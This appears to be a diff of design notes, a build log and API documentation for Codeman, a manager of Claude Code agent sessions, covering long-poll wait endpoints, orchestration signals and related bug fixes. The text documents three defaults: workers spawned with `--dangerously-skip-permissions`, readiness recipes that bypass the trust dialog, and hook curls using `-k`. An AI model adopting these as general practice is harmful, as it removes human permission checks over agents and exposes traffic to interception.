+A waiter resolves on the first of a set of signals. Sources that already exist:
+
+| Signal    | Source today                                                                                                                                  |
+| --------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
+| `idle`    | `Session` emits `idle` (session.ts ~1775 for Claude, ~2101 for shell), wired at `session-listener-wiring.ts:402`                              |
+| `working` | `Session` emits `working` (session.ts ~1788), wired at `session-listener-wiring.ts:401`                                                       |
+| `stop`    | `POST /api/hook-event` with `event: 'stop'`, the definitive "Claude finished responding" signal already used by `controller.signalStopHook()` |
+| `blocked` | `POST /api/hook-event` with `permission_prompt` or `elicitation_dialog`                                                                       |
+| `exit`    | `Session` emits `exit`                                                                                                                        |
+
+`stop` is the highest-quality signal for "the turn is over" and should be the documented default
+for orchestration. `idle` is heuristic: output stabilization plus prompt detection, and it can
+flap mid-turn when a spinner pauses. External CLI modes (`isExternalCliMode()`) have no stop
+hook at all, so for opencode/codex/gemini/antigravity only `idle`, `working` and `exit` are
+available. **The skill and the docs must say which signals exist per mode**, otherwise an agent
+waits forever on `stop` in a codex session.
+
+### 3.3 Endpoint specs
+
+#### A. `GET /api/sessions/:id/wait`
+
+| Param     | Type                                           | Default          | Notes                                                        |
+| --------- | ---------------------------------------------- | ---------------- | ------------------------------------------------------------ |
+| `until`   | comma list of `idle,working,stop,blocked,exit` | `stop,idle,exit` | resolves on first match                                      |
+| `timeout` | ms                                             | 60000            | clamped to `MAX_WAIT_MS` (600000)                            |
+| `fresh`   | `0`/`1`                                        | `0`              | `1` requires a _transition_, ignoring the state at call time |
+
+Response (always 200 unless the session is missing or a cap is hit):
+
+```json
+{
+  "success": true,
+  "data": {
+    "signal": "stop",
+    "timedOut": false,
+    "immediate": false,
+    "ended": false,
+    "waitedMs": 8421,
+    "status": "idle",
+    "sessionId": "...",
+    "until": ["stop", "idle", "exit"],
+    "limitPaused": false
+  }
+}
+```
+
+`until` is echoed back because the server may narrow it: `stop`/`blocked` are dropped
+from the DEFAULT set for external CLI modes (asking for them EXPLICITLY is a 400
+instead, since omitting `until` must never 400). `limitPaused` tells a caller that a
+timeout was expected rather than a stall worth retrying hard.
+
+**A timeout is not an error.** `{"timedOut": true, "signal": null}` with HTTP 200, so a caller
+can loop without treating every poll boundary as a failure. Errors are reserved for
+`NOT_FOUND` (unknown or not-owned session) and `SESSION_BUSY` (waiter cap exceeded).
+
+`immediate: true` means the session was already in the requested state and `fresh` was not set.
+
+#### B. `GET /api/sessions/:id/wait-output`
+
+| Param     | Type                           | Default  | Notes                                                     |
+| --------- | ------------------------------ | -------- | --------------------------------------------------------- |
+| `match`   | literal string, 1 to 200 chars | required | substring match against ANSI-stripped output              |
+| `nocase`  | `0`/`1`                        | `0`      | case-insensitive compare                                  |
+| `from`    | `now` \| `buffer`              | `now`    | `buffer` scans the existing text buffer first, then waits |
+| `timeout` | ms                             | 60000    | clamped to `MAX_WAIT_MS`                                  |
+
+Response: `{ matched: true, timedOut: false, snippet: "...", waitedMs }`.
+
+**No regex in v1, deliberately.** `search-service.ts` already avoids regex specifically so there
+is no ReDoS surface, and this endpoint would be even more exposed since the pattern is attacker
+supplied and the input is a live stream. herdr can offer `--regex` because Rust's regex crate is
+linear-time with no backtracking; JS `RegExp` is not. If regex is wanted later, the honest
+options are a length-capped subset compiled once with a match budget, or `re2`. Note it and move on.
+
+Implementation detail that will bite if missed: a match can straddle two PTY chunks. Keep a
+carry buffer of `match.length - 1` bytes from the previous chunk and test `carry + chunk`.
+
+⚠️ **`from=now` does not mean "printed after you asked".** tmux repaints the visible
+screen on attach, resize, or any TUI redraw, and a repaint arrives as ordinary `terminal`
+data. Observed live: a marker echoed a minute earlier matched instantly on a fresh
+`from=now` wait. This is inherent to a terminal multiplexer, not fixable in the registry,
+so the contract is: **use a marker unique per call** (`echo DONE_$RANDOM`), never a
+generic one like `BUILD OK`. The skill's recipes must show that.
+
+The returned snippet is whitespace-collapsed (blank runs to a single newline) for
+readability only; matching runs on the raw stripped text. Without it, a real pane's
+`\r\n` padding between the prompt and the match fills the whole context window with
+nothing, which was the first thing the live test showed.
+
+#### C. `wait` on the existing input endpoint
+
+`POST /api/sessions/:id/input` gains two optional fields:
+
+```json
+{ "input": "run the tests\r", "useMux": true, "clientId": "agent-1", "seq": 7, "wait": "stop", "waitTimeout": 600000 }
+```
+
+(The trailing `\r` is required on every input body: `sendInput` sends Enter only
+when the input contains a carriage return.)
+
+Response gains `"wait": { "signal": "stop", "timedOut": false, "waitedMs": 41230 }`.
+
+This is the important one, because it closes a race the standalone `GET .../wait` cannot: between
+"input delivered" and "session flips to working" there is a window where a naive
+send-then-wait sees the _pre-existing_ idle state and returns instantly. The combined endpoint
+**registers the waiter before writing**, so that window does not exist. This is exactly why herdr
+ships `agent prompt --wait` as its own thing.
+
+`wait` accepts `true` (the default signal set) or the same comma grammar as `until`.
+Both new fields are `.nullish()`, not `.optional()`: a third-party caller building the
+body with `JSON.stringify` keeps an explicit `null` on the wire, and `.optional()`
+rejects that with `INVALID_INPUT`. That gotcha has shipped as a real bug twice.
+
+Two behaviors to preserve carefully:
+
+- **`useMux` is fire-and-forget today.** The handler responds without awaiting `writeViaMux`, on
+  purpose (a tmux child process must not block the HTTP response). With `wait` present the
+  handler already has to stay open, so it can await delivery, and a `writeViaMux` failure becomes
+  observable for the first time. The non-wait path must keep its current fire-and-forget shape
+  byte for byte.
+- **Duplicate suppression.** A tagged redelivery (`clientId`+`seq` already applied) returns 200
+  without writing. With `wait` set it still waits, since the caller's intent is "tell me when
+  this settles". But it waits with `requireTransition: false`, unlike a fresh delivery: the
+  original turn may be long over, and requiring a new transition would block a redelivery until
+  timeout for no reason. Fresh delivery requires a transition, a duplicate answers from the
+  current state.
+- **Capacity rollback.** `shouldApplyInput()` MUTATES (it records the seq), and it runs before
+  the waiter is registered. If registration then fails on a full pool, the handler must call
+  `forgetInputSeq` before returning `SESSION_BUSY`, or the caller's retry is rejected as a
+  duplicate and the input is lost by the very mechanism reliable delivery exists for.
+
+### 3.4 Module design
+
+New file `src/web/session-wait-registry.ts`, with the IO-free core unit-testable in isolation
+(same split as `self-update.ts`):
+
+```ts
+type WaitSignal = 'idle' | 'working' | 'stop' | 'blocked' | 'exit';
+
+waitForSignal(sessionId, { until: Set<WaitSignal>, timeoutMs, requireTransition }): Promise<WaitResult>
+notifySignal(sessionId, signal: WaitSignal): void
+waitForOutput(sessionId, { match, nocase, timeoutMs }): Promise<OutputWaitResult>
+notifyOutput(sessionId, chunk: string): void
+cancelAll(sessionId, reason): void
+```
+
+Wiring points, all existing:
+
+- `src/web/session-listener-wiring.ts` around lines 190 and 200 already handles `working` and
+  `idle` and broadcasts them. Add a `notifySignal()` call next to each broadcast, plus `exit`.
+- `src/web/routes/hook-event-routes.ts` already switches on `event` for the respawn controller.
+  Add `notifySignal(sessionId, 'stop' | 'blocked')` in the same switch.
+- Output: `notifyOutput()` rides the ALREADY-attached `terminal` listener in
+  session-listener-wiring.ts. An earlier draft had the registry hand out attach/detach
+  callbacks so a listener could be added lazily; that was deleted once it was clear no
+  second listener is needed at all. The cost is one Map lookup per PTY chunk, which is why
+  the no-waiter check comes before the ANSI strip.
+- Session deletion calls `notifySignal('exit')` then `cancelAll()`, so no promise is left
+  hanging. Both are required: `_doCleanupSession` detaches the session's listeners BEFORE
+  `session.stop()`, so on a delete the PTY exit event never reaches the registry, and an
+  `until=exit` caller would otherwise get a bare `ended` instead of its signal. Found by
+  live-testing the delete path, not by the unit tests.
+
+Memory-leak discipline, per the 24-hour-session rules: every waiter owns a timer that is cleared
+on resolve, the per-session waiter set is deleted when it empties, and the output listener is
+removed with it. `test/memory-leak-prevention.test.ts` should grow a case for this.
+
+Caps in a new `src/config/agent-wait.ts` (limits live in `src/config/`, env-overridable):
+
+| Constant                  | Default | Why                                     |
+| ------------------------- | ------- | --------------------------------------- |
+| `MAX_WAIT_MS`             | 600000  | an unbounded long-poll is a socket leak |
+| `DEFAULT_WAIT_MS`         | 60000   | short enough to survive most proxies    |
+| `MAX_WAITERS_PER_SESSION` | 16      |                                         |
+| `MAX_WAITERS_TOTAL`       | 128     | same reasoning as `MAX_SSE_CLIENTS`     |
+
+Exceeding a cap returns `SESSION_BUSY`, not a silent queue.
+
+### 3.5 Transport concerns
+
+Fastify is constructed with defaults in `server.ts:329-331`. `requestTimeout` defaults to 0
+(disabled) and `keepAliveTimeout` (72s) applies between requests, not to an in-flight one, so a
+10-minute in-process hold is fine. **Verify this on the real instance before relying on it.**
+
+Intermediaries are the actual risk. Prod is reached through `tailscale serve`, and users also run
+cloudflared tunnels; both can cut an idle connection. That is why `DEFAULT_WAIT_MS` is 60s and
+why the documented pattern is a client-side loop over short waits rather than one 10-minute call.
+The skill's recipes must show the loop.
+
+### 3.6 Edge cases to get right
+
+| Case                            | Behavior                                                                                                                                                                                                    |

+| Session deleted mid-wait        | same, resolve, do not throw. Verified live: `until=exit` gets `signal:"exit"`, a concurrent `until=blocked` gets `ended:true`, both in ~0ms                                                                 |
+| Shutdown with a wait pending    | `cancelEverything()` in `stop()`. Verified live: SIGTERM with a 300s wait in flight exits in 1s                                                                                                             |
+| External CLI mode               | `stop` and `blocked` never fire. Reject `until=stop` for those modes with a clear `INVALID_INPUT` rather than hanging until timeout                                                                         |

+| Remote / Docker cases           | signals originate from the same `Session` object, so no special casing. Docker hooks need `CODEMAN_DOCKER_BRIDGE_HOOKS=1` for `stop`/`blocked` to arrive at all; without it, only `idle` works. Document it |
+| Respawn `/clear` mid-wait       | a respawn cycle emits `idle`. Callers waiting on `stop` are unaffected; callers on `idle` may resolve early. Documented, not fixed                                                                          |
+| Limit pause                     | if the session is paused on a usage limit, nothing will fire until the reset. The wait times out honestly. Consider surfacing `limitPaused: true` in the response so the caller can back off                |
+
+### 3.7 Tests
+
+- `test/session-wait-registry.test.ts` (pure): immediate resolve, transition-required, multi-signal
+  first-wins, timeout, cap exceeded, cancel on session end, no listener leak after resolve,
+  chunk-straddling output match, case-insensitive match.
+- `test/routes/session-wait-routes.test.ts` (`app.inject()`, no port): all three endpoints against
+  a `MockSession`, including the 200-with-`timedOut` contract and the ownership 404.
+- `test/routes/session-input-wait.test.ts`: the send-and-wait race, plus proof that the non-wait
+  path is unchanged (still returns before `writeViaMux` settles).
+- Live verification on a throwaway session before COM, per the always-end-to-end-test rule.
+
+### 3.8 Files touched

+
+## 4. Deferred: parts 3 to 5
+
+Not in scope now, kept here so they are not lost.
+
+### Part 3: promote `blocked` to a first-class state
+
+`SessionStatus` is `'idle' | 'busy' | 'stopped' | 'error'`. "Needs you" exists three times over:
+hook events, the `tab-alert-action` CSS class, and the phone overview NEEDS YOU section, each
+re-deriving it. herdr makes `blocked` a real state that rolls up.
+
+Add `blocked` (and possibly `done`) to `SessionStatus`, set it from the same hook events that
+Part 2 uses as wait signals, and clear it on the next `working`/`stop`. Then the tab strip, the
+mobile overview, the wait endpoints, and any external agent read one field.
+
+Cost: `SessionStatus` is a widely-consumed union, so every exhaustive `switch` (the codebase has
+`assertNever` and `noFallthroughCasesInSwitch`) will need a branch. That is a feature, it makes
+the compiler find every site. This is a **minor** bump, not a patch: it widens a public type in
+the HTTP contract.
+
+### Part 4: `GET /api/schema`
+
+herdr ships `herdr api schema`. Every Codeman route is already Zod-validated, so
+`zod-to-json-schema` over `schemas.ts` gives a self-describing API almost free. Value: third-party
+tools and the skill stop drifting from hand-written docs. Open question: whether to emit full
+OpenAPI (`@fastify/swagger` would need per-route schema registration, which is a much larger
+change) or just dump the Zod schemas keyed by name (cheap, 80% of the value).
+
+### Part 5: detection manifests instead of hardcoded patterns
+
+CLI-specific readiness, blocked and usage-limit patterns live in code across
+`usage-limit-patterns.ts`, the respawn pattern helpers and `regex-patterns.ts`. Externalizing the
+per-CLI ones into data files would make adding a sixth CLI a data change instead of a code change.
+
+**Do not copy the remote-update part.** herdr auto-fetches manifest updates from herdr.dev.
+Codeman auto-pulling behavioral rules from a vendor server contradicts its security posture.
+Bundled manifests plus local override only, no network.
+
+### Explicit non-goals
+
+- **Plugin runtime and marketplace.** `docs/extending-codeman.md` already argues this: a plugin
+  runtime means third-party code inside a process that spawns agents with your credentials, on a
+  server people expose over a tunnel. The reasoning still holds. If the marketplace _pattern_ is
+  wanted, apply it to data (web tabs, case templates, cron recipes), never to executable code.
+- **Live PTY handoff on restart.** herdr needs it because it owns the terminals. Codeman
+  delegates to tmux, so PTYs already survive a self-update restart.
+- **Socket API.** HTTP plus SSE is the existing, documented, stable contract. A second transport
+  would double the surface for no capability gain.

+| 8 ✅ | COM (minor bump: new endpoints, new setting, new optional fields)               | released as 1.13.0 (wait primitives + skill); step 6 followed in 1.14.1 and was republished as 1.14.2 after live-testing the packaged skill                                                                                                                                                                                                  |
+
+Parts 1 and 2 are independent enough to land separately, but the skill is much less useful
+without the wait endpoints, so the wait work goes first.
+
+## 6. Open questions for the owner
+
+1. ✅ `skills/` at the repo root: accepted (built that way; the install one-liner depends on it).
+2. ✅ `agentSkillEnabled` default: **OFF** for the first release, per §2.2's rationale (skills
+   cost context on every turn; measure before defaulting on). Flip later if dogfooding earns it.
+3. ✅ Both: global install via `npx skills add` / `codeman skill install`, AND per-case
+   auto-injection behind the (default-off) setting. Injection is add-only at session create and
+   marker-guarded, so a user-authored copy is never touched.
+4. Is `X-Codeman-Caller-Session` self-protection worth the 10 lines, given it is a footgun guard
+   and not a security boundary? (Still open, not built with step 6.)
+5. ✅ Regex support in `wait-output`: literal-only shipped, and a `regex` query param is
+   rejected with a 400 rather than ignored, so an agent that assumed otherwise cannot
+   silently wait on the wrong thing.
+

+## 7. Build log: what actually happened
+
+Written at the end of the build so the next person inherits the reasoning, not just the
+diff. Process artifacts (per-agent briefs, findings, reports) live in the gitignored
+`tmp/agent-wait-review/`; this section is the part worth keeping.

+
+### Bugs found in ADJACENT code, not in the new feature
+
+These are the highest-value output of the exercise and none were on the plan:
+
+1. **Every Codeman hook was dead on HTTPS installs.** `hooks-config.ts` built the hook
+   curl as `curl -s` with no `-k` while the statusline exporter 300 lines below used
+   `curl -sk` and documented why. Proven with the real hook command: `curl exit=60`
+   without the flag, success with it, and the failure swallowed by the hook's own
+   `2>/dev/null || true`. This silently killed `stop`, `permission_prompt`,
+   `elicitation_dialog`, `idle_prompt`, `teammate_idle` and `task_completed`, taking
+   respawn's definitive idle signals with them. Fixed, **plus** a staleness detector in
+   `refreshStaleCodemanHooks` that regenerates the on-disk config of already-created
+   cases (23 of 26 local cases carried the broken form; fixing the generator alone would
+   have left every one of them broken).
+2. **`buildEnvExports()` exported a wrong-scheme `CODEMAN_API_URL`** (`http://` fallback
+   on an HTTPS install). Now omitted rather than guessed, so in-session guards fail closed.
+3. **Programmatic input is only submitted when it contains `\r`.** `sendInput` sends Enter
+   only if the payload has a carriage return; without it the text sits in the composer
+   forever. Bit this build repeatedly before it was diagnosed, and had leaked into the
+   docs' own examples.
+
+### Design decisions worth not re-litigating
+
+- **A timeout is HTTP 200** with `wait.timedOut`, never a 4xx: callers loop over short
+  waits because tunnels cut idle connections, and every poll boundary would otherwise be
+  indistinguishable from failure.
+- **Send-and-wait must be one endpoint.** A separate POST-then-wait races: between the
+  write and the flip to `working`, a wait sees the stale `idle` and reports the PREVIOUS
+  turn as this one. The waiter is registered before the write.
+- **`stop`/`blocked` exist for `claude` mode only.** They come from Claude Code hooks;
+  `shell` installs none either, so keying off `isExternalCliMode()` was wrong.
+- **Literal matching only, never regex.** JS `RegExp` backtracks; herdr can offer
+  `--regex` because Rust's regex crate is linear-time.
+- **Client-hangup abort listens on `reply.raw` guarded by `writableFinished`.** On
+  `req.raw`, `close` fires when the request BODY ends, which on a POST killed every
+  send-and-wait instantly, and no `app.inject()` test can see it (inject never emits
+  `close`).
+- **Liveness cannot come from `session.pid`.** For a tmux session that is the local
+  `tmux attach` client, not the worker: a worker exiting inside its pane leaves
+  `pane_dead=1` with the client alive, so `pid` never goes null. Liveness is probed at
+  the mux layer, cached (~750 ms) and only on blocking waits, never on the input hot path.
+
+### Verification rounds
+
+Six agents across three rounds, each verifying the previous round's work rather than its
+own. Findings that mattered, in order of severity, were: the dead-pane liveness gap; the
+`reply.raw` abort regression; abandoned long-polls leaking waiter slots; a crashed session
+reporting `idle`; `shell` accepting `until=stop`; and a documented recipe that reported
+success without running its task. Two traps recurred often enough to name:
+
+- **Vacuous passes.** `app.inject()` never emits `close`; a latched `cancelEverything()`
+  in `afterEach` silently killed the registry for every later test in a file; three test
+  files sharing one session id against the process-wide registry let one file's leftover
+  waiter fail another's assertion. Any new wait test needs care on all three.
+- **HTTP-only test instances.** Every isolated instance used during the build was plain
+  HTTP, which is exactly why the HTTPS hook bug survived so long. Test the transport the
+  user actually runs.
+
+### Resolved at wrap-up (2026-08-08, conclusion pass)
+
+- **R2-A**: the fire-and-forget-then-gather-sequentially pattern was **removed from
+  the skill** rather than patched. Signals are edge-triggered with no history, so a
+  `stop` that fires before its waiter registers is unobservable afterwards; a
+  `fresh=0` gather was rejected because the only `until` set that current state can
+  satisfy answers `idle` for a prompt that never submitted, resurrecting the exact
+  false-success failure R2-B had just closed. Flow 3b's pattern B now gathers on
+  latched `wait-output` markers (`from=buffer`), the same mechanism that makes the
+  shell flows reliable; the limitation is recorded in
+  `architecture-invariants#agent-wait-primitives` and `endpoints.md`. The durable
+  fix, a latched last-signal-per-turn on the server, stays with deferred Part 3.
+- Docs F7/F8, F4 and the false-`idle` attribution: `api-reference.md`,
+  `extending-codeman.md` and `architecture-invariants.md` rewritten to the post-fix
+  matcher (one normalized stream, chunk-straddling found, snippet as a rendering of
+  the matched window), the real no-PTY answer (`ended:true`, `aborted:false`,
+  `delivered:false`), and the startup-idle mechanism (a session parked on the trust
+  dialog emits no further `idle`; the false success is the startup transition).
+- Orchestrate #12, #5/R2-B, #6, and R2-C..R2-E: fire-and-forget's empty `data`
+  documented; every send-and-wait retry loop now treats `duplicate:true` +
+  `immediate:true` as "no new turn ran" and reads the terminal before believing it;
+  claude fan-out is pattern A (backgrounded send-and-waits) or the marker gather;
+  readiness budgets rebalanced (5 s stage 1, 45 s stage 3) with the virgin-case
+  floor named; the auth fallback now also reads the supervisor definition
+  (`codeman-web.service` / launchd plist) and accepts `export`-prefixed `.env`
+  lines; `pid != null` is documented as startup-only, never liveness.
+- Both public readiness recipes (extending-codeman.md, README) are bypass-first with
+  the trust probe as the bounded fallback; the worked recipe carries `-k` and fails
+  loudly on an empty SID; the hook `-k`/self-heal fix appears in every
+  "hooks go missing" list; the multi-word-TUI claim is "unreliable", not "never".
+
+### Still open
+
+Both release-checklist items that used to sit here are done: `skills/` is tracked and
+ships through `package.json` `files` (published with 1.13.0, republished with 1.14.2),
+and the changeset was consumed, committed and deployed. What is left:
+
+- Deferred with Part 3: the latched last-signal-per-turn. Nice-to-haves from the
+  reviews: N2 (create the death-watcher inside its `try`, still built one line above
+  it in `GET .../wait`) and converting timeout-shaped test detections into fast
+  assertions.
+- §2.4's `X-Codeman-Caller-Session` footgun guard: still not built (open question 4).
+
+### Step 6 (2026-08-09): install command, per-case injection, the setting
+
+Built to the §2.6 file list, mirroring the statusLine mechanism throughout:
+
+| Piece | Where |
+| ----- | ----- |
+| `applyAgentSkill(casePath, enabled)` + `installAgentSkillInto` / `removeAgentSkillFrom` | `src/hooks-config.ts` |
+| `codeman skill install` / `skill uninstall` (`--global` default, `--case <name>`) | `src/cli.ts` |
+| `agentSkillEnabled` (SYNCED, default OFF) | `schemas.ts` (`SettingsUpdateSchema`), `getAgentSkillEnabled()` on `ConfigPort`/`server.ts`, checkbox in `index.html` + `settings-ui.js` |
+| Injection call sites (Claude mode only) | `POST /api/sessions` next to `refreshStaleCodemanHooks`; `POST /api/quick-start` after the case-create/self-heal blocks (local + docker cases; remote skipped, its path lives on another host) |
+| Tests | `test/agent-skill.test.ts` (10 unit), `test/quick-start.test.ts` (real server: default-off, PUT accepts key, injection on create, shell-mode skipped) |
+
+Decisions worth keeping:
+
+- **Ownership marker, prefix-matched.** The injected SKILL.md ends with
+  `<!-- codeman-managed-agent-skill: … -->`; install/refresh/remove all refuse a copy
+  without the marker (a user's own skill) and match on the PREFIX so a wording change
+  cannot disown older injected copies (the `BACKGROUND_WAKE_MARKER_PREFIX` pattern).
+- **Symlink refusal.** This repo's own dogfooding layout
+  (`.claude/skills/codeman -> ../../skills/codeman`) means the injector must `lstat`
+  the skill dir AND its `skills/` parent and bail on a symlink, or enabling the
+  setting in the Codeman repo itself would overwrite the skill source through the link.
+- **ADD-ONLY at session create**, same shared-`.claude` rationale as the statusLine:
+  a create while the setting is off must not yank the skill out from under other live
+  sessions in the repo. The remove path exists (CLI `skill uninstall`, tests); no
+  automatic sweep removes on toggle-off.
+- **Removal is manifest-based, never `rm -rf`**: only files the packaged source would
+  have written are deleted, directories are pruned bottom-up only if they emptied, so
+  a user's extra notes in `reference/` survive an uninstall.
+- **Source resolution**: `join(moduleDir, '..', 'skills', 'codeman')` works from
+  `src/` (tsx), `dist/` (tsc build), and the npm tarball alike, because all three sit
+  one level below the package root and `files` ships `skills/`.
+- **Nothing acts on the setting at PUT time**: injection reads the merged persisted
+  settings at session create (`readSettings`, ~2s cache), so the partial-PUT invariant
+  (`toggleService` reading `merged`) is untouched by construction.
+
+### 2026-08-09 addendum: cross-session messaging folded into the skill
+
+Claude Code 2.1.224+ ships cross-session messaging: `ListAgents`/`SendMessage`
+tools, a per-session Unix inbox socket, and a registry in
+`~/.claude/sessions/<pid>.json`. Codeman's claude workers are ordinary local Claude
+Code sessions, so the skill now routes task delivery and result collection over it
+when available, while the HTTP primitives keep spawn, readiness, synchronization,
+liveness and delete. New `skills/codeman/reference/messaging.md` (ships with zero
+installer changes: `readAgentSkillSource()` enumerates `reference/*.md` from disk),
+Flow 5 in recipes.md, and §4 in SKILL.md.
+
+Verified live (claude-cli 2.1.226, Linux):
+
+- A message to an idle worker starts a turn and that turn fires the normal `stop`
+  hook (8.3 s send-to-stop measured), so the HTTP wait primitives compose with
+  messaging unchanged; delivery to a busy session lands between tool calls.
+- First contact needs the `name [ref]` form; the bare name errors with the exact
+  string to resend. The `uds:` reply address of an inbound message works as a `to`.
+- The `tmux codeman-<id8>` column in `ListAgents` (and the registry's `tmux` field)
+  is the join key to Codeman session ids. The registry's `sessionId` field starts as
+  the Codeman id (we spawn `claude --session-id <id>`) but drifts after `/clear` or
+  resume, so it must never be the join key.
+- The feature is flag-gated beyond the version: two 2.1.226 sessions on one machine,
+  one with an inbox socket and one without. Absence is a fallback case, not an error.
+- Codeman's default `--dangerously-skip-permissions` spawn puts both ends in the
+  bypassing class, which delivers; mixed classes hold behind an approval dialog that
+  expires unattended (upstream default 5 min), which on a headless worker means the
+  message silently dies. The skill's backstop covers it.
+
+Follow-up, landed in the same PR: local claude spawns now pass
+`--name <session name>` so peers carry Codeman session names. The gate is
+`buildNameCliArgs()` (session-cli-builder.ts), fail-closed at
+`CLAUDE_NAME_FLAG_MIN_VERSION = 2.1.224`: that is the messaging release, the flag's
+presence there was verified against the installed 2.1.224 binary, and the version
+comes from `getClaudeCliVersion()` (null on probe failure and under vitest), so an
+older or unknown CLI gets a command byte-identical to before. That matters because
+claude aborts startup on an unknown option, which would kill every session spawn.
+The value is allowlist-sanitized (Unicode letters/digits plus ` ._:-`, leading
+dashes stripped so it cannot parse as another option, 64-char cap, empty result =
+flag omitted) before the double-quoted interpolation in `buildSpawnCommand`, and
+only the LOCAL command carries it: the docker/remote builders never see it, since
+their CLI is not the binary the probe measured. E2E on an isolated instance
+(`CODEMAN_INSTANCE`): process cmdline `claude ... --name w9-msgtest`, registry
+`name: "w9-msgtest"`, `ListAgents` lists it under that name, a message round-trip
+works, and its replies arrive tagged `from-name="w9-msgtest"` (a derived-name
+worker's replies carry no `from-name`). A quick-start without `sessionName` has an
+empty Codeman name, so the peer name stays derived: agents should name their
+workers. Tests: `test/name-flag-injection.test.ts`.

+## Long-polling (agent wait)
+
+Three calls block until something happens instead of answering immediately. They
+exist because SSE is Codeman's only other "tell me when" channel, and an agent
+driving the API from a shell tool cannot practically hold a stream and parse
+events inline.
+
+| Call | Blocks until |
+|------|--------------|
+| `GET /api/v1/sessions/:id/wait` | one of a set of lifecycle signals fires |
+| `GET /api/v1/sessions/:id/wait-output` | a literal string appears in the session's output |
+| `POST /api/v1/sessions/:id/input` with `wait` | the input is delivered **and then** a signal fires |
+
+`POST .../input` with `wait` is not the same as a `POST` followed by a separate
+`GET .../wait`. It registers the waiter **before** writing, which closes the window
+in which a separate wait sees the session still idle from the previous turn and
+answers instantly with the wrong turn's result. Use it whenever you send a prompt
+and want to know when that prompt is done.
+
+### Three semantics that break callers who assume otherwise
+
+**1. A timeout is HTTP `200`, not an error.** A wait that ends without its signal
+returns `{"success":true, ...,"wait":{"timedOut":true,"signal":null}}`. The
+intended pattern is a client-side loop over short waits, because `tailscale serve`
+and cloudflared can both cut an idle connection, and turning every poll boundary
+into a `4xx` would make that loop indistinguishable from a real failure. `408` is
+auto-retried by several clients (silently doubling the polling load), `504` is what
+a genuine tunnel failure looks like, and `204` cannot carry `waitedMs` / `status` /
+`limitPaused`. Reserve error handling for the four codes in the table below.
+
+**2. `stop` and `blocked` fire only for `claude` sessions.** Both come from Claude
+Code hooks, and no other mode installs them: `shell` runs no agent, and the external
+CLIs (`opencode`, `codex`, `gemini`, `antigravity`, `pi`) render their own TUIs and post
+no hooks. For every non-`claude` mode only `idle`, `working` and `exit` are
+accepted, and of those only `exit` is dependable: see the caveats under
+[Signals](#signals) before building on `idle`. Requesting `stop` or `blocked`
+**explicitly** on such a session is a
+`400`; omitting `until` never fails, the server just drops them from the default set
+and echoes the narrowed set back as `wait.until`. Three more places hooks can go
+missing even in `claude` mode: a **Docker case** needs
+`CODEMAN_DOCKER_BRIDGE_HOOKS=1`, since a container cannot reach a loopback-bound
+Codeman (without it, only `idle` / `working` / `exit` work); a **remote-SSH
+case** runs the agent on another host, whose hooks may never reach this server at
+all; and a case whose hook config was written by **Codeman < 1.13.0 against an
+`--https` install** carries hook curls without `-k`, which TLS-fail silently (the
+hook line ends in `|| true`). Codeman now writes `curl -sk` and repairs a stale
+case config the next time a session starts in that case. When in doubt, ask for
+`stop,idle,exit` so a session without hooks still resolves on the heuristic
+signal.
+
+**3. `from=now` does not mean "printed after you asked".** tmux repaints the visible
+screen on attach, on resize, and on any TUI redraw, and a repaint arrives as
+ordinary output, so text that was already on screen can satisfy a fresh wait. This
+was observed live: a marker echoed a minute earlier matched instantly on a new
+`from=now` wait. It is inherent to running the agent under a multiplexer, so the
+contract is a **marker unique to each call** (`MARK="DONE_$RANDOM"`, send
+`echo $MARK`, then wait on `$MARK`), never a generic string like `BUILD OK`.
+
+### Signals
+
+| Signal | Source | Actually fires for |
+|--------|--------|--------------------|
+| `idle` | the session's own `idle` event | `claude`: yes, on ❯-prompt detection after activity. `shell`: **once only**, ~500 ms after start, and never again. External CLIs: not guaranteed (they render their own TUIs and readiness is output stabilization) |
+| `working` | the session's own `working` event | `claude` only in practice (spinner and work-keyword detection are Claude output formats) |
+| `stop` | the Claude Code `stop` hook, the definitive end-of-turn signal | `claude` only |
+| `blocked` | a `permission_prompt` or `elicitation_dialog` hook | `claude` only, and rarer than it looks: see below |
+| `exit` | no process is behind the session | every mode |
+
+`stop` is the signal to orchestrate on where it exists; `idle` is a heuristic
+fallback that can flap mid-turn when a spinner pauses. The default set when `until`
+is omitted is `stop,idle,exit` (`exit` is in there so a worker that crashes resolves
+the wait promptly instead of burning the caller's whole timeout on something that
+can no longer happen). On a `claude` worker, prefer an explicit `until=stop,exit`
+once the session is up: the default set's `idle` also resolves on a spinner pause,
+and on a fresh session the **startup** `idle` (emitted when the CLI first comes up)
+can land inside your first wait window and report a turn that never ran. Measured:
+a session parked on the trust dialog emits no *further* `idle`, so it is the
+startup transition, not the dialog, that produces the false success below.
+
+⚠️ **`exit` means "nothing is running", which includes "not started yet".** The
+server answers from `pid === null` plus a mux-layer pane-death probe, and that
+covers a session that exited — including a worker that died *inside* its tmux pane
+while the local attach client (and therefore `pid`) lives on — one that was
+detached, and one that was **created but never started**. So the first wait
+after `POST /api/v1/sessions` returns `{"signal":"exit","immediate":true}` in
+milliseconds, and reading that as "the worker died" is wrong: it means start it, or
+wait for it to come up. `status` is carried alongside so nothing is hidden. The
+alternative (trusting `status`) is worse, because a dead PTY parks the session at
+`status: "idle"`, which would answer the default wait with `immediate: true` for a
+worker that has crashed. A worker dying while a wait is parked resolves it within
+a few seconds (a background death-watcher), not at the timeout.
+
+⚠️ **`blocked` is reachable less often than the table suggests.** It fires on two
+hooks, and the default configuration suppresses one of them: Codeman spawns claude
+with `--dangerously-skip-permissions`, so permission prompts do not happen unless the
+instance is switched to the `auto` Claude mode (App Settings), or the caller is a
+multi-user account without the bypass grant, which is forced to `--permission-mode
+auto`. What does still fire under the default is `elicitation_dialog`, the agent
+asking the user a question. So `until=stop,blocked,exit` is a reasonable belt on a
+long turn, but a worker that never comes back is far more likely to be working than
+blocked, and polling `blocked` alone will sit at its timeout.
+
+⚠️ **On a `shell` session, only `exit` and marker-matching are dependable.** A shell
+session emits its one `idle` at startup and then stays `status: "idle"` forever,
+whatever the pane is doing, so it never emits a *transition*. Since send-and-wait
+requires a transition (and so does `fresh=1`), both can only time out there:
+a documented default `wait` on a shell worker running `sleep 4` times out at the
+full 25 s. Synchronize hook-less sessions with `wait-output` and a unique marker
+instead. The same caution applies to the external CLIs.
+
+### Readiness is not a signal
+
+Nothing here reports "the agent is ready for a prompt", and no combination of
+`until`/`fresh` synthesizes one. A freshly created session reads as `exit` (above),
+and a `claude` worker in a brand-new case comes up on the CLI's **trust dialog**,
+which contains a ❯ prompt of its own. Send-and-wait posted at that moment types the
